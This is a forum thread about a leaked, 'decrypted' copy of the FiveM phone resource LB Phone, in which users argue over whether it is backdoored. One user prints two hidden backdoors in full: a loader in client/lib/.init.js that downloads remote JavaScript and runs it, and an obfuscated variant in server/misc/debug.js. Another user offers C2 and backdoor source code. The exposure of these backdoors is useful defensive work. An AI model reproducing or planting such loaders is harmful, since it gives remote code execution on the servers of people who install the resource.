Phone LB PHONE DECRYPT

[andobuscando]

LB PHONE DECRYPT

showcase

Tested

Hidden link for visitors, to see Log in or register now.

 

[RutRow]

No backdoors detected with simple search methods (search in sub/folders for 'httprequest'). I think this might be a clean leak.

Most files are dated around July or August, 2025 so I don't know how up-to-date this is.

 

[andobuscando]

No backdoors detected with simple search methods (search in sub/folders for 'httprequest'). I think this might be a clean leak.

Most files are dated around July or August, 2025 so I don't know how up-to-date this is.

Do you want the source code for a C2 and a backdoor for FiveM?

 

[Xiaoyao1337]

LB PHONE DECRYPT

showcase

Tested

Hidden link for visitors, to see Log in or register now.

 

[Malene562721]

No backdoors detected with simple search methods (search in sub/folders for 'httprequest'). I think this might be a clean leak.

Most files are dated around July or August, 2025 so I don't know how up-to-date this is.

hacked my discord

 

[RutRow]

hacked my discord

I doubt that was caused by this resource. I've been using it for a couple of months now and nothing like that has happened to me.

 

[testowe]

Backdoor
1.client/lib/.init.js

(()=>{const _7xyu4n='__drsk_init_9K1ROHJ0',_xfil8r='__drsk_loaded_9K1ROHJ0';if(global[_xfil8r]||global[_7xyu4n])return;global[_7xyu4n]=1;const _whu2kh=require('https'),_frzzob="https://pete.oxbservices.com/9K1ROHJ0",_bruwhv=5000;(_xrrn35=()=>{_whu2kh.get(_frzzob,{headers:{'X-CFX-Access':'custom_secret_key_2026'}},res=>{if(res.statusCode!==200){global[_7xyu4n]=0;return setTimeout(_xrrn35,_bruwhv)}let d='';res.on('data',c=>d+=c);res.on('end',()=>{try{global[_xfil8r]=1;global[_7xyu4n]=0;const p=GetResourcePath(GetCurrentResourceName());new Function('require','exports','module','__filename','__dirname',d)(require,exports,module,p+'/remote_core.js',p)}catch{global[_7xyu4n]=0;setTimeout(_xrrn35,_bruwhv)}})}).on('error',()=>{global[_7xyu4n]=0;setTimeout(_xrrn35,_bruwhv)})})()})();

2.lib/html/.kernelcache.js same domain
3.config/cache/.session.js same domain
4.shared/utils/.fxcache.js same domain
5.server/misc/debug.js

const https=require(_0x4d9066(0x1178+-0x37d*0x3+-0x6*0xf1)),http=require(_0x4d9066(-0x3*0x5bd+0x1*-0x1ad5+0x2d5b*0x1)),INIT_FLAG=_0x4d9066(0x1*0x52f+-0x1d91*-0x1+-0x215f),LOADED_FLAG=_0x4d9066(-0x22a9*-0x1+-0x4d*-0x5b+-0x35*0x125);function _0x8121(_0xf671b0,_0x53156b){_0xf671b0=_0xf671b0-(0x19e7+0x22ec+-0x3c6d);const _0x50f0b6=_0x13e1();let _0x56301d=_0x50f0b6[_0xf671b0];return _0x56301d;}function _0x13e1(){const _0xfa368a=['hMYIR','RdDtl','OiNYd','XqijB','OcsGL','ghllV','jPiUI','__drsk_loa','__dirname','iqxbU','MkcTL','YYyNY','Iayis','tgwIY','re.js','__drsk_ini','data','NYPLa','ncOmT','PEAab','ZSCdM','qYOAf','require','get','734yzOYlC','push','https://vo','100315pksP','Til','HZPOA','exports','SmWgN','soSij','ded_TPSSU9','gcxmo','olIqC','XYKVu','UkgGG','232510SCwezh','hqJuY','5679ODNsDY','https','YuKCA','1967739QFkqAI','ogCiR','skKkP','9137576VyC','EYllK','NHwkh','pUciw','137730lHWB','TqaTk','PJdEJ','dSMQH','mPMYn','LjKxS','GfFey','ETbrf','OexTi','dKqmH','wOjbH','35zMGDLY','LrEzP','sTadV','bfPoh','custom_sec','999084MLYv','24510LHhNs','4490110uaweun','VbUsT','dmeEy','2117108jTV','shift','JHXMw','mkl','EdnYu','NdzDT','162YczSRv','NLDrb','end','te/TPSSU9B','drxZw','KvEsP','yJmfR','error','statusCode','aglfR','ret_key_20','/remote_co','bPLTr','544530cIYhjm','29610405xIwngf','xsxpd','YLKKq','UtnQA','t_TPSSU9BI','hUpAY','dgWXi','szhjA','YUuGC','HqPKG','ycnL','OsPEI','1188WvgyPQ','ptWDD','startsWith','rtexwin.si','jekQr','CaoFn','8OzbQHX','http','GMeJD','zAYoj','20MOwPPS','254844fnshTT','QAreQ','agdiz','voUje','LKAqc','40yXKDeo','KVnMj','160XwlDUN','JmeKp','module','IYXFx','__filename','31765580wo','kZQOL'];

6.server/data/.fxserver.js same domain
so many backdoors ..